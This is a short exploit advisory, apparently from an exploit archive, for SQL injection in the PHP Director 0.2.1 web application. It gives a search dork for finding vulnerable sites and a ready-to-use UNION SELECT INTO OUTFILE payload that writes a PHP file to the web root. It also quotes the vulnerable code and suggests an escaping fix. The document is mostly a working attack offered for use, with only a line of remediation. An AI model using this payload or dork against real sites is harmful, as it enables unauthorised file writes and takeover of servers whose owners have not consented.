/* Dork "Powered by PHP Director 0.2"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| PHP Director 0.2.1 (sql into outfile) eval() Injection Exploit |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

{Exploit}-> index.php?cat=%27+UNION+SELECT+1,'lol',3,4,5,6,7,8,9,10,11,12,13,14,15+INTO+OUTFILE+'/var/www/ex.php'/*
{PHP.ini}-> Magic Quotes off
{Written}-> by Juri Gianni aka yeat - staker[at]hotmail[dot]it
{WhereIs}-> http://sourceforge.net/projects/phpdirector/
{Compile}-> gcc -o exploit exploit.c


{Details}-> index.php (line 56-58)

56. }elseif (isset($_GET["cat"])) {
57. $cat = $_GET["cat"];
58. $_query = sprintf("SELECT SQL_CALC_FOUND_ROWS * FROM pp_files WHERE `category` = '$cat etc..)

{Bug}-> $cat variable is not checked so we have a sql injection
{Fix}-> $cat = mysql_real_escape_string($_GET['cat']);
